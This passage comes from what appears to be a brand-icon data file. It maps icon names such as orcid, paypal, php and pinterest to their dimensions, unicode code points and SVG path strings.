8.2zm-8.7-66c-.5-13.5-.5-27-.3-40.5h.3c2.7-1.6 5.7-3.8 7.8-6.5 6.5-1.6 13-5.1 15.1-9.2 3.3-7.1-7-7.5-5.4-12.4 2.7-1.1 5.7-2.2 7.8-3.5 29.2 29.2 58.6 56.5 97.3 77-36.8 11.3-72.4 27.6-105.9 47-1.2-18.6-7.7-35.9-16.7-51.9zm337.6 64.6c-103 3.5-206.2 4.1-309.4 0 0 .3 0 .3-.3.3v-.3h.3c35.1-21.6 72.2-39.2 112.4-50.8 11.6 5.1 23 9.5 34.9 13.2 2.2.8 2.2.8 4.3 0 14.3-4.1 28.4-9.2 42.2-15.4 41.5 11.7 78.8 31.7 115.6 53zm10.5-12.4c-35.9-19.5-73-35.9-111.9-47.6 38.1-20 71.9-47.3 103.5-76.7 2.2 1.4 4.6 2.4 7.6 3.2 0 .8.3 1.9.5 2.4-4.6 2.7-7.8 6.2-5.9 10.3 2.2 3.8 8.6 7.6 15.1 8.9 2.4 2.7 5.1 5.1 8.1 6.8 0 13.8-.3 27.6-.8 41.3l.3-.3c-9.3 15.9-15.5 37-16.5 51.7zm105.9 6.2c-12.7 19.5-40 35.7-59.2 36.5-19.3.9-40.5-13.2-40.5-37 5.7-23.2 18.9-49.7 33.5-54 22.7-6.9 69.2 23.4 66.2 54.5zM372.9 75.2c-3.8-72.1-100.8-79.7-126-23.5 44.6-24.3 90.3-15.7 126 23.5zM74.8 407.1c-15.7 1.6-49.5 25.4-49.5 43.2 0 11.6 15.7 19.5 32.2 14.9 12.2-3.2 31.1-17.6 35.9-27.3 6-11.6-3.7-32.7-18.6-30.8zm215.9-176.2c28.6 0 51.9-21.6 51.9-48.4 0-36.1-40.5-58.1-72.2-44.3 9.5 3 16.5 11.6 16.5 21.6 0 23.3-33.3 32-46.5 11.3-7.3 34.1 19.4 59.8 50.3 59.8zM68 474.1c.5 6.5 12.2 12.7 21.6 9.5 6.8-2.7 14.6-10.5 17.3-16.2 3-7-1.1-20-9.7-18.4-8.9 1.6-29.7 16.7-29.2 25.1zm433.2-67c-14.9-1.9-24.6 19.2-18.9 30.8 4.9 9.7 24.1 24.1 36.2 27.3 16.5 4.6 32.2-3.2 32.2-14.9 0-17.8-33.8-41.6-49.5-43.2zM478.8 449c-8.4-1.6-12.4 11.3-9.5 18.4 2.4 5.7 10.3 13.5 17.3 16.2 9.2 3.2 21.1-3 21.3-9.5.9-8.4-20.2-23.5-29.1-25.1z"],
	"orcid": [512, 512, [], "f8d2", "M294.75 188.19h-45.92V342h47.47c67.62 0 83.12-51.34 83.12-76.91 0-41.64-26.54-76.9-84.67-76.9zM256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm-80.79 360.76h-29.84v-207.5h29.84zm-14.92-231.14a19.57 19.57 0 1 1 19.57-19.57 19.64 19.64 0 0 1-19.57 19.57zM300 369h-81V161.26h80.6c76.73 0 110.44 54.83 110.44 103.85C410 318.39 368.38 369 300 369z"],
	"osi": [512, 512, [], "f41a", "M8 266.44C10.3 130.64 105.4 34 221.8 18.34c138.8-18.6 255.6 75.8 278 201.1 21.3 118.8-44 230-151.6 274-9.3 3.8-14.4 1.7-18-7.7q-26.7-69.45-53.4-139c-3.1-8.1-1-13.2 7-16.8 24.2-11 39.3-29.4 43.3-55.8a71.47 71.47 0 0 0-64.5-82.2c-39-3.4-71.8 23.7-77.5 59.7-5.2 33 11.1 63.7 41.9 77.7 9.6 4.4 11.5 8.6 7.8 18.4q-26.85 69.9-53.7 139.9c-2.6 6.9-8.3 9.3-15.5 6.5-52.6-20.3-101.4-61-130.8-119-24.9-49.2-25.2-87.7-26.8-108.7zm20.9-1.9c.4 6.6.6 14.3 1.3 22.1 6.3 71.9 49.6 143.5 131 183.1 3.2 1.5 4.4.8 5.6-2.3q22.35-58.65 45-117.3c1.3-3.3.6-4.8-2.4-6.7-31.6-19.9-47.3-48.5-45.6-86 1-21.6 9.3-40.5 23.8-56.3 30-32.7 77-39.8 115.5-17.6a91.64 91.64 0 0 1 45.2 90.4c-3.6 30.6-19.3 53.9-45.7 69.8-2.7 1.6-3.5 2.9-2.3 6q22.8 58.8 45.2 117.7c1.2 3.1 2.4 3.8 5.6 2.3 35.5-16.6 65.2-40.3 88.1-72 34.8-48.2 49.1-101.9 42.3-161-13.7-117.5-119.4-214.8-255.5-198-106.1 13-195.3 102.5-197.1 225.8z"],
	"page4": [496, 512, [], "f3d7", "M248 504C111 504 0 393 0 256S111 8 248 8c20.9 0 41.3 2.6 60.7 7.5L42.3 392H248v112zm0-143.6V146.8L98.6 360.4H248zm96 31.6v92.7c45.7-19.2 84.5-51.7 111.4-92.7H344zm57.4-138.2l-21.2 8.4 21.2 8.3v-16.7zm-20.3 54.5c-6.7 0-8 6.3-8 12.9v7.7h16.2v-10c0-5.9-2.3-10.6-8.2-10.6zM496 256c0 37.3-8.2 72.7-23 104.4H344V27.3C433.3 64.8 496 153.1 496 256zM360.4 143.6h68.2V96h-13.9v32.6h-13.9V99h-13.9v29.6h-12.7V96h-13.9v47.6zm68.1 185.3H402v-11c0-15.4-5.6-25.2-20.9-25.2-15.4 0-20.7 10.6-20.7 25.9v25.3h68.2v-15zm0-103l-68.2 29.7V268l68.2 29.5v-16.6l-14.4-5.7v-26.5l14.4-5.9v-16.9zm-4.8-68.5h-35.6V184H402v-12.2h11c8.6 15.8 1.3 35.3-18.6 35.3-22.5 0-28.3-25.3-15.5-37.7l-11.6-10.6c-16.2 17.5-12.2 63.9 27.1 63.9 34 0 44.7-35.9 29.3-65.3z"],
	"pagelines": [384, 512, [], "f18c", "M384 312.7c-55.1 136.7-187.1 54-187.1 54-40.5 81.8-107.4 134.4-184.6 134.7-16.1 0-16.6-24.4 0-24.4 64.4-.3 120.5-42.7 157.2-110.1-41.1 15.9-118.6 27.9-161.6-82.2 109-44.9 159.1 11.2 178.3 45.5 9.9-24.4 17-50.9 21.6-79.7 0 0-139.7 21.9-149.5-98.1 119.1-47.9 152.6 76.7 152.6 76.7 1.6-16.7 3.3-52.6 3.3-53.4 0 0-106.3-73.7-38.1-165.2 124.6 43 61.4 162.4 61.4 162.4.5 1.6.5 23.8 0 33.4 0 0 45.2-89 136.4-57.5-4.2 134-141.9 106.4-141.9 106.4-4.4 27.4-11.2 53.4-20 77.5 0 0 83-91.8 172-20z"],
	"palfed": [576, 512, [], "f3d8", "M384.9 193.9c0-47.4-55.2-44.2-95.4-29.8-1.3 39.4-2.5 80.7-3 119.8.7 2.8 2.6 6.2 15.1 6.2 36.8 0 83.4-42.8 83.3-96.2zm-194.5 72.2c.2 0 6.5-2.7 11.2-2.7 26.6 0 20.7 44.1-14.4 44.1-21.5 0-37.1-18.1-37.1-43 0-42 42.9-95.6 100.7-126.5 1-12.4 3-22 10.5-28.2 11.2-9 26.6-3.5 29.5 11.1 72.2-22.2 135.2 1 135.2 72 0 77.9-79.3 152.6-140.1 138.2-.1 39.4.9 74.4 2.7 100v.2c.2 3.4.6 12.5-5.3 19.1-9.6 10.6-33.4 10-36.4-22.3-4.1-44.4.2-206.1 1.4-242.5-21.5 15-58.5 50.3-58.5 75.9.2 2.5.4 4 .6 4.6zM8 181.1s-.1 37.4 38.4 37.4h30l22.4 217.2s0 44.3 44.7 44.3h288.9s44.7-.4 44.7-44.3l22.4-217.2h30s38.4 1.2 38.4-37.4c0 0 .1-37.4-38.4-37.4h-30.1c-7.3-25.6-30.2-74.3-119.4-74.3h-28V50.3s-2.7-18.4-21.1-18.4h-85.8s-21.1 0-21.1 18.4v19.1h-28.1s-105 4.2-120.5 74.3h-29S8 142.5 8 181.1z"],
	"patreon": [512, 512, [], "f3d9", "M512 194.8c0 101.3-82.4 183.8-183.8 183.8-101.7 0-184.4-82.4-184.4-183.8 0-101.6 82.7-184.3 184.4-184.3C429.6 10.5 512 93.2 512 194.8zM0 501.5h90v-491H0v491z"],
	"paypal": [384, 512, [], "f1ed", "M111.4 295.9c-3.5 19.2-17.4 108.7-21.5 134-.3 1.8-1 2.5-3 2.5H12.3c-7.6 0-13.1-6.6-12.1-13.9L58.8 46.6c1.5-9.6 10.1-16.9 20-16.9 152.3 0 165.1-3.7 204 11.4 60.1 23.3 65.6 79.5 44 140.3-21.5 62.6-72.5 89.5-140.1 90.3-43.4.7-69.5-7-75.3 24.2zM357.1 152c-1.8-1.3-2.5-1.8-3 1.3-2 11.4-5.1 22.5-8.8 33.6-39.9 113.8-150.5 103.9-204.5 103.9-6.1 0-10.1 3.3-10.9 9.4-22.6 140.4-27.1 169.7-27.1 169.7-1 7.1 3.5 12.9 10.6 12.9h63.5c8.6 0 15.7-6.3 17.4-14.9.7-5.4-1.1 6.1 14.4-91.3 4.6-22 14.3-19.7 29.3-19.7 71 0 126.4-28.8 142.9-112.3 6.5-34.8 4.6-71.4-23.8-92.6z"],
	"penny-arcade": [640, 512, [], "f704", "M421.91 164.27c-4.49 19.45-1.4 6.06-15.1 65.29l39.73-10.61c-22.34-49.61-17.29-38.41-24.63-54.68zm-206.09 51.11c-20.19 5.4-11.31 3.03-39.63 10.58l4.46 46.19c28.17-7.59 20.62-5.57 34.82-9.34 42.3-9.79 32.85-56.42.35-47.43zm326.16-26.19l-45.47-99.2c-5.69-12.37-19.46-18.84-32.62-15.33-70.27 18.75-38.72 10.32-135.59 36.23a27.618 27.618 0 0 0-18.89 17.41C144.26 113.27 0 153.75 0 226.67c0 33.5 30.67 67.11 80.9 95.37l1.74 17.88a27.891 27.891 0 0 0-17.77 28.67l4.3 44.48c1.39 14.31 13.43 25.21 27.8 25.2 5.18-.01-3.01 1.78 122.53-31.76 12.57-3.37 21.12-15.02 20.58-28.02 216.59 45.5 401.99-5.98 399.89-84.83.01-28.15-22.19-66.56-97.99-104.47zM255.14 298.3l-21.91 5.88-48.44 12.91 2.46 23.55 20.53-5.51 4.51 44.51-115.31 30.78-4.3-44.52 20.02-5.35-11.11-114.64-20.12 5.39-4.35-44.5c178.15-47.54 170.18-46.42 186.22-46.65 56.66-1.13 64.15 71.84 42.55 104.43a86.7 86.7 0 0 1-50.75 33.72zm199.18 16.62l-3.89-39.49 14.9-3.98-6.61-14.68-57.76 15.42-4.1 17.54 19.2-5.12 4.05 39.54-112.85 30.07-4.46-44.43 20.99-5.59 33.08-126.47-17.15 4.56-4.2-44.48c93.36-24.99 65.01-17.41 135.59-36.24l66.67 145.47 20.79-5.56 4.3 44.48-108.55 28.96z"],
	"perbyte": [448, 512, [], "e083", "M305.314,284.578H246.6V383.3h58.711q24.423,0,38.193-13.77t13.77-36.11q0-21.826-14.032-35.335T305.314,284.578ZM149.435,128.7H90.724v98.723h58.711q24.42,0,38.19-13.773t13.77-36.107q0-21.826-14.029-35.338T149.435,128.7ZM366.647,32H81.353A81.445,81.445,0,0,0,0,113.352V398.647A81.445,81.445,0,0,0,81.353,480H366.647A81.445,81.445,0,0,0,448,398.647V113.352A81.445,81.445,0,0,0,366.647,32Zm63.635,366.647a63.706,63.706,0,0,1-63.635,63.635H81.353a63.706,63.706,0,0,1-63.635-63.635V113.352A63.706,63.706,0,0,1,81.353,49.718H366.647a63.706,63.706,0,0,1,63.635,63.634ZM305.314,128.7H246.6v98.723h58.711q24.423,0,38.193-13.773t13.77-36.107q0-21.826-14.032-35.338T305.314,128.7Z"],
	"periscope": [448, 512, [], "f3da", "M370 63.6C331.4 22.6 280.5 0 226.6 0 111.9 0 18.5 96.2 18.5 214.4c0 75.1 57.8 159.8 82.7 192.7C137.8 455.5 192.6 512 226.6 512c41.6 0 112.9-94.2 120.9-105 24.6-33.1 82-118.3 82-192.6 0-56.5-21.1-110.1-59.5-150.8zM226.6 493.9c-42.5 0-190-167.3-190-279.4 0-107.4 83.9-196.3 190-196.3 100.8 0 184.7 89 184.7 196.3.1 112.1-147.4 279.4-184.7 279.4zM338 206.8c0 59.1-51.1 109.7-110.8 109.7-100.6 0-150.7-108.2-92.9-181.8v.4c0 24.5 20.1 44.4 44.8 44.4 24.7 0 44.8-19.9 44.8-44.4 0-18.2-11.1-33.8-26.9-40.7 76.6-19.2 141 39.3 141 112.4z"],
	"phabricator": [496, 512, [], "f3db", "M323 262.1l-.1-13s21.7-19.8 21.1-21.2l-9.5-20c-.6-1.4-29.5-.5-29.5-.5l-9.4-9.3s.2-28.5-1.2-29.1l-20.1-9.2c-1.4-.6-20.7 21-20.7 21l-13.1-.2s-20.5-21.4-21.9-20.8l-20 8.3c-1.4.5.2 28.9.2 28.9l-9.1 9.1s-29.2-.9-29.7.4l-8.1 19.8c-.6 1.4 21 21 21 21l.1 12.9s-21.7 19.8-21.1 21.2l9.5 20c.6 1.4 29.5.5 29.5.5l9.4 9.3s-.2 31.8 1.2 32.3l20.1 8.3c1.4.6 20.7-23.5 20.7-23.5l13.1.2s20.5 23.8 21.8 23.3l20-7.5c1.4-.6-.2-32.1-.2-32.1l9.1-9.1s29.2.9 29.7-.5l8.1-19.8c.7-1.1-20.9-20.7-20.9-20.7zm-44.9-8.7c.7 17.1-12.8 31.6-30.1 32.4-17.3.8-32.1-12.5-32.8-29.6-.7-17.1 12.8-31.6 30.1-32.3 17.3-.8 32.1 12.5 32.8 29.5zm201.2-37.9l-97-97-.1.1c-75.1-73.3-195.4-72.8-269.8 1.6-50.9 51-27.8 27.9-95.7 95.3-22.3 22.3-22.3 58.7 0 81 69.9 69.4 46.4 46 97.4 97l.1-.1c75.1 73.3 195.4 72.9 269.8-1.6 51-50.9 27.9-27.9 95.3-95.3 22.3-22.3 22.3-58.7 0-81zM140.4 363.8c-59.6-59.5-59.6-156 0-215.5 59.5-59.6 156-59.5 215.6 0 59.5 59.5 59.6 156 0 215.6-59.6 59.5-156 59.4-215.6-.1z"],
	"phoenix-framework": [640, 512, [], "f3dc", "M212.9 344.3c3.8-.1 22.8-1.4 25.6-2.2-2.4-2.6-43.6-1-68-49.6-4.3-8.6-7.5-17.6-6.4-27.6 2.9-25.5 32.9-30 52-18.5 36 21.6 63.3 91.3 113.7 97.5 37 4.5 84.6-17 108.2-45.4-.6-.1-.8-.2-1-.1-.4.1-.8.2-1.1.3-33.3 12.1-94.3 9.7-134.7-14.8-37.6-22.8-53.1-58.7-51.8-74.6 1.8-21.3 22.9-23.2 35.9-19.6 14.4 3.9 24.4 17.6 38.9 27.4 15.6 10.4 32.9 13.7 51.3 10.3 14.9-2.7 34.4-12.3 36.5-14.5-1.1-.1-1.8-.1-2.5-.2-6.2-.6-12.4-.8-18.5-1.7C279.8 194.5 262.1 47.4 138.5 37.9 94.2 34.5 39.1 46 2.2 72.9c-.8.6-1.5 1.2-2.2 1.8.1.2.1.3.2.5.8 0 1.6-.1 2.4-.2 6.3-1 12.5-.8 18.7.3 23.8 4.3 47.7 23.1 55.9 76.5 5.3 34.3-.7 50.8 8 86.1 19 77.1 91 107.6 127.7 106.4zM75.3 64.9c-.9-1-.9-1.2-1.3-2 12.1-2.6 24.2-4.1 36.6-4.8-1.1 14.7-22.2 21.3-35.3 6.8zm196.9 350.5c-42.8 1.2-92-26.7-123.5-61.4-4.6-5-16.8-20.2-18.6-23.4l.4-.4c6.6 4.1 25.7 18.6 54.8 27 24.2 7 48.1 6.3 71.6-3.3 22.7-9.3 41-.5 43.1 2.9-18.5 3.8-20.1 4.4-24 7.9-5.1 4.4-4.6 11.7 7 17.2 26.2 12.4 63-2.8 97.2 25.4 2.4 2 8.1 7.8 10.1 10.7-.1.2-.3.3-.4.5-4.8-1.5-16.4-7.5-40.2-9.3-24.7-2-46.3 5.3-77.5 6.2zm174.8-252c16.4-5.2 41.3-13.4 66.5-3.3 16.1 6.5 26.2 18.7 32.1 34.6 3.5 9.4 5.1 19.7 5.1 28.7-.2 0-.4 0-.6.1-.2-.4-.4-.9-.5-1.3-5-22-29.9-43.8-67.6-29.9-50.2 18.6-130.4 9.7-176.9-48-.7-.9-2.4-1.7-1.3-3.2.1-.2 2.1.6 3 1.3 18.1 13.4 38.3 21.9 60.3 26.2 30.5 6.1 54.6 2.9 79.9-5.2zm102.7 117.5c-32.4.2-33.8 50.1-103.6 64.4-18.2 3.7-38.7 4.6-44.9 4.2v-.4c2.8-1.5 14.7-2.6 29.7-16.6 7.9-7.3 15.3-15.1 22.8-22.9 19.5-20.2 41.4-42.2 81.9-39 23.1 1.8 29.3 8.2 36.1 12.7.3.2.4.5.7.9-.5 0-.7.1-.9 0-7-2.7-14.3-3.3-21.8-3.3zm-12.3-24.1c-.1.2-.1.4-.2.6-28.9-4.4-48-7.9-68.5 4-17 9.9-31.4 20.5-62 24.4-27.1 3.4-45.1 2.4-66.1-8-.3-.2-.6-.4-1-.6 0-.2.1-.3.1-.5 24.9 3.8 36.4 5.1 55.5-5.8 22.3-12.9 40.1-26.6 71.3-31 29.6-4.1 51.3 2.5 70.9 16.9zM268.6 97.3c-.6-.6-1.1-1.2-2.1-2.3 7.6 0 29.7-1.2 53.4 8.4 19.7 8 32.2 21 50.2 32.9 11.1 7.3 23.4 9.3 36.4 8.1 4.3-.4 8.5-1.2 12.8-1.7.4-.1.9 0 1.5.3-.6.4-1.2.9-1.8 1.2-8.1 4-16.7 6.3-25.6 7.1-26.1 2.6-50.3-3.7-73.4-15.4-19.3-9.9-36.4-22.9-51.4-38.6zM640 335.7c-3.5 3.1-22.7 11.6-42.7 5.3-12.3-3.9-19.5-14.9-31.6-24.1-10-7.6-20.9-7.9-28.1-8.4.6-.8.9-1.2 1.2-1.4 14.8-9.2 30.5-12.2 47.3-6.5 12.5 4.2 19.2 13.5 30.4 24.2 10.8 10.4 21 9.9 23.1 10.5.1-.1.2 0 .4.4zm-212.5 137c2.2 1.2 1.6 1.5 1.5 2-18.5-1.4-33.9-7.6-46.8-22.2-21.8-24.7-41.7-27.9-48.6-29.7.5-.2.8-.4 1.1-.4 13.1.1 26.1.7 38.9 3.9 25.3 6.4 35 25.4 41.6 35.3 3.2 4.8 7.3 8.3 12.3 11.1z"],
	"phoenix-squadron": [512, 512, [], "f511", "M96 63.38C142.49 27.25 201.55 7.31 260.51 8.81c29.58-.38 59.11 5.37 86.91 15.33-24.13-4.63-49-6.34-73.38-2.45C231.17 27 191 48.84 162.21 80.87c5.67-1 10.78-3.67 16-5.86 18.14-7.87 37.49-13.26 57.23-14.83 19.74-2.13 39.64-.43 59.28 1.92-14.42 2.79-29.12 4.57-43 9.59-34.43 11.07-65.27 33.16-86.3 62.63-13.8 19.71-23.63 42.86-24.67 67.13-.35 16.49 5.22 34.81 19.83 44a53.27 53.27 0 0 0 37.52 6.74c15.45-2.46 30.07-8.64 43.6-16.33 11.52-6.82 22.67-14.55 32-24.25 3.79-3.22 2.53-8.45 2.62-12.79-2.12-.34-4.38-1.11-6.3.3a203 203 0 0 1-35.82 15.37c-20 6.17-42.16 8.46-62.1.78 12.79 1.73 26.06.31 37.74-5.44 20.23-9.72 36.81-25.2 54.44-38.77a526.57 526.57 0 0 1 88.9-55.31c25.71-12 52.94-22.78 81.57-24.12-15.63 13.72-32.15 26.52-46.78 41.38-14.51 14-27.46 29.5-40.11 45.18-3.52 4.6-8.95 6.94-13.58 10.16a150.7 150.7 0 0 0-51.89 60.1c-9.33 19.68-14.5 41.85-11.77 63.65 1.94 13.69 8.71 27.59 20.9 34.91 12.9 8 29.05 8.07 43.48 5.1 32.8-7.45 61.43-28.89 81-55.84 20.44-27.52 30.52-62.2 29.16-96.35-.52-7.5-1.57-15-1.66-22.49 8 19.48 14.82 39.71 16.65 60.83 2 14.28.75 28.76-1.62 42.9-1.91 11-5.67 21.51-7.78 32.43a165 165 0 0 0 39.34-81.07 183.64 183.64 0 0 0-14.21-104.64c20.78 32 32.34 69.58 35.71 107.48.49 12.73.49 25.51 0 38.23A243.21 243.21 0 0 1 482 371.34c-26.12 47.34-68 85.63-117.19 108-78.29 36.23-174.68 31.32-248-14.68A248.34 248.34 0 0 1 25.36 366 238.34 238.34 0 0 1 0 273.08v-31.34C3.93 172 40.87 105.82 96 63.38m222 80.33a79.13 79.13 0 0 0 16-4.48c5-1.77 9.24-5.94 10.32-11.22-8.96 4.99-17.98 9.92-26.32 15.7z"],
	"php": [640, 512, [], "f457", "M320 104.5c171.4 0 303.2 72.2 303.2 151.5S491.3 407.5 320 407.5c-171.4 0-303.2-72.2-303.2-151.5S148.7 104.5 320 104.5m0-16.8C143.3 87.7 0 163 0 256s143.3 168.3 320 168.3S640 349 640 256 496.7 87.7 320 87.7zM218.2 242.5c-7.9 40.5-35.8 36.3-70.1 36.3l13.7-70.6c38 0 63.8-4.1 56.4 34.3zM97.4 350.3h36.7l8.7-44.8c41.1 0 66.6 3 90.2-19.1 26.1-24 32.9-66.7 14.3-88.1-9.7-11.2-25.3-16.7-46.5-16.7h-70.7L97.4 350.3zm185.7-213.6h36.5l-8.7 44.8c31.5 0 60.7-2.3 74.8 10.7 14.8 13.6 7.7 31-8.3 113.1h-37c15.4-79.4 18.3-86 12.7-92-5.4-5.8-17.7-4.6-47.4-4.6l-18.8 96.6h-36.5l32.7-168.6zM505 242.5c-8 41.1-36.7 36.3-70.1 36.3l13.7-70.6c38.2 0 63.8-4.1 56.4 34.3zM384.2 350.3H421l8.7-44.8c43.2 0 67.1 2.5 90.2-19.1 26.1-24 32.9-66.7 14.3-88.1-9.7-11.2-25.3-16.7-46.5-16.7H417l-32.8 168.7z"],
	"pied-piper": [480, 512, [], "f2ae", "M455.93,23.2C429.23,30,387.79,51.69,341.35,90.66A206,206,0,0,0,240,64C125.13,64,32,157.12,32,272s93.13,208,208,208,208-93.13,208-208a207.25,207.25,0,0,0-58.75-144.81,155.35,155.35,0,0,0-17,27.4A176.16,176.16,0,0,1,417.1,272c0,97.66-79.44,177.11-177.09,177.11a175.81,175.81,0,0,1-87.63-23.4c82.94-107.33,150.79-37.77,184.31-226.65,5.79-32.62,28-94.26,126.23-160.18C471,33.45,465.35,20.8,455.93,23.2ZM125,406.4A176.66,176.66,0,0,1,62.9,272C62.9,174.34,142.35,94.9,240,94.9a174,174,0,0,1,76.63,17.75C250.64,174.76,189.77,265.52,125,406.4Z"],
	"pied-piper-alt": [576, 512, [], "f1a8", "M244 246c-3.2-2-6.3-2.9-10.1-2.9-6.6 0-12.6 3.2-19.3 3.7l1.7 4.9zm135.9 197.9c-19 0-64.1 9.5-79.9 19.8l6.9 45.1c35.7 6.1 70.1 3.6 106-9.8-4.8-10-23.5-55.1-33-55.1zM340.8 177c6.6 2.8 11.5 9.2 22.7 22.1 2-1.4 7.5-5.2 7.5-8.6 0-4.9-11.8-13.2-13.2-23 11.2-5.7 25.2-6 37.6-8.9 68.1-16.4 116.3-52.9 146.8-116.7C548.3 29.3 554 16.1 554.6 2l-2 2.6c-28.4 50-33 63.2-81.3 100-31.9 24.4-69.2 40.2-106.6 54.6l-6.3-.3v-21.8c-19.6 1.6-19.7-14.6-31.6-23-18.7 20.6-31.6 40.8-58.9 51.1-12.7 4.8-19.6 10-25.9 21.8 34.9-16.4 91.2-13.5 98.8-10zM555.5 0l-.6 1.1-.3.9.6-.6zm-59.2 382.1c-33.9-56.9-75.3-118.4-150-115.5l-.3-6c-1.1-13.5 32.8 3.2 35.1-31l-14.4 7.2c-19.8-45.7-8.6-54.3-65.5-54.3-14.7 0-26.7 1.7-41.4 4.6 2.9 18.6 2.2 36.7-10.9 50.3l19.5 5.5c-1.7 3.2-2.9 6.3-2.9 9.8 0 21 42.8 2.9 42.8 33.6 0 18.4-36.8 60.1-54.9 60.1-8 0-53.7-50-53.4-60.1l.3-4.6 52.3-11.5c13-2.6 12.3-22.7-2.9-22.7-3.7 0-43.1 9.2-49.4 10.6-2-5.2-7.5-14.1-13.8-14.1-3.2 0-6.3 3.2-9.5 4-9.2 2.6-31 2.9-21.5 20.1L15.9 298.5c-5.5 1.1-8.9 6.3-8.9 11.8 0 6 5.5 10.9 11.5 10.9 8 0 131.3-28.4 147.4-32.2 2.6 3.2 4.6 6.3 7.8 8.6 20.1 14.4 59.8 85.9 76.4 85.9 24.1 0 58-22.4 71.3-41.9 3.2-4.3 6.9-7.5 12.4-6.9.6 13.8-31.6 34.2-33 43.7-1.4 10.2-1 35.2-.3 41.1 26.7 8.1 52-3.6 77.9-2.9 4.3-21 10.6-41.9 9.8-63.5l-.3-9.5c-1.4-34.2-10.9-38.5-34.8-58.6-1.1-1.1-2.6-2.6-3.7-4 2.2-1.4 1.1-1 4.6-1.7 88.5 0 56.3 183.6 111.5 229.9 33.1-15 72.5-27.9 103.5-47.2-29-25.6-52.6-45.7-72.7-79.9zm-196.2 46.1v27.2l11.8-3.4-2.9-23.8zm-68.7-150.4l24.1 61.2 21-13.8-31.3-50.9zm84.4 154.9l2 12.4c9-1.5 58.4-6.6 58.4-14.1 0-1.4-.6-3.2-.9-4.6-26.8 0-36.9 3.8-59.5 6.3z"],
	"pied-piper-hat": [640, 512, [], "f4e5", "M640 24.9c-80.8 53.6-89.4 92.5-96.4 104.4-6.7 12.2-11.7 60.3-23.3 83.6-11.7 23.6-54.2 42.2-66.1 50-11.7 7.8-28.3 38.1-41.9 64.2-108.1-4.4-167.4 38.8-259.2 93.6 29.4-9.7 43.3-16.7 43.3-16.7 94.2-36 139.3-68.3 281.1-49.2 1.1 0 1.9.6 2.8.8 3.9 2.2 5.3 6.9 3.1 10.8l-53.9 95.8c-2.5 4.7-7.8 7.2-13.1 6.1-126.8-23.8-226.9 17.3-318.9 18.6C24.1 488 0 453.4 0 451.8c0-1.1.6-1.7 1.7-1.7 0 0 38.3 0 103.1-15.3C178.4 294.5 244 245.4 315.4 245.4c0 0 71.7 0 90.6 61.9 22.8-39.7 28.3-49.2 28.3-49.2 5.3-9.4 35-77.2 86.4-141.4 51.5-64 90.4-79.9 119.3-91.8z"],
	"pied-piper-pp": [448, 512, [], "f1a7", "M205.3 174.6c0 21.1-14.2 38.1-31.7 38.1-7.1 0-12.8-1.2-17.2-3.7v-68c4.4-2.7 10.1-4.2 17.2-4.2 17.5 0 31.7 16.9 31.7 37.8zm52.6 67c-7.1 0-12.8 1.5-17.2 4.2v68c4.4 2.5 10.1 3.7 17.2 3.7 17.4 0 31.7-16.9 31.7-37.8 0-21.1-14.3-38.1-31.7-38.1zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zM185 255.1c41 0 74.2-35.6 74.2-79.6 0-44-33.2-79.6-74.2-79.6-12 0-24.1 3.2-34.6 8.8h-45.7V311l51.8-10.1v-50.6c8.6 3.1 18.1 4.8 28.5 4.8zm158.4 25.3c0-44-33.2-79.6-73.9-79.6-3.2 0-6.4.2-9.6.7-3.7 12.5-10.1 23.8-19.2 33.4-13.8 15-32.2 23.8-51.8 24.8V416l51.8-10.1v-50.6c8.6 3.2 18.2 4.7 28.7 4.7 40.8 0 74-35.6 74-79.6z"],
	"pied-piper-square": [448, 512, [], "e01e", "M32 419L0 479.2l.8-328C.8 85.3 54 32 120 32h327.2c-93 28.9-189.9 94.2-253.9 168.6C122.7 282 82.6 338 32 419M448 32S305.2 98.8 261.6 199.1c-23.2 53.6-28.9 118.1-71 158.6-28.9 27.8-69.8 38.2-105.3 56.3-23.2 12-66.4 40.5-84.9 66h328.4c66 0 119.3-53.3 119.3-119.2-.1 0-.1-328.8-.1-328.8z"],
	"pinterest": [496, 512, [], "f0d2", "M496 256c0 137-111 248-248 248-25.6 0-50.2-3.9-73.4-11.1 10.1-16.5 25.2-43.5 30.8-65 3-11.6 15.4-59 15.4-59 8.1 15.4 31.7 28.5 56.8 28.5 74.8 0 128.7-68.8 128.7-154.3 0-81.9-66.9-143.2-152.9-143.2-107 0-163.9 71.8-163.9 150.1 0 36.4 19.4 81.7 50.3 96.1 4.7 2.2 7.2 1.2 8.3-3.3.8-3.4 5-20.3 6.9-28.1.6-2.5.3-4.7-1.7-7.1-10.1-12.5-18.3-35.3-18.3-56.6 0-54.7 41.4-107.6 112-107.6 60.9 0 103.6 41.5 103.6 100.9 0 67.1-33.9 113.6-78 113.6-24.3 0-42.6-20.1-36.7-44.8 7-29.5 20.5-61.3 20.5-82.6 0-19-10.2-34.9-31.4-34.9-24.9 0-44.9 25.7-44.9 60.2 0 22 7.4 36.8 7.4 36.8s-24.5 103.8-29 123.2c-5 21.4-3 51.6-.9 71.2C65.4 450.9 0 361.1 0 256 0 119 111 8 248 8s248 111 248 248z"],
	"pinterest-p": [384, 512, [], "f231", "M204 6.5C101.4 6.5 0 74.9 0 185.6 0 256 39.6 296 63.6 296c9.9 0 15.6-27.6 15.6-35.4 0-9.3-23.7-29.1-23.7-67.8 0-80.4 61.2-137.4 140.4-137.4 68.1 0 118.5 38.7 118.5 109.8 0 53.1-21.3 152.7-90.3 152.7-24.9 0-46.2-18-46.2-43.8 0-37.8 26.4-74.4 26.4-113.4 0-66.2-93.9-54.2-93.9 25.8 0 16.8 2.1 35.4 9.6 50.7-13.8 59.4-42 147.9-42 209.1 0 18.9 2.7 37.5 4.5 56.4 3.4 3.8 1.7 3.4 6.9 1.5 50.4-69 48.6-82.5 71.4-172.8 12.3 23.4 44.1 36 69.3 36 106.2 0 153.9-103.5 153.9-196.8C384 71.3 298.2 6.5 204 6.5z"],
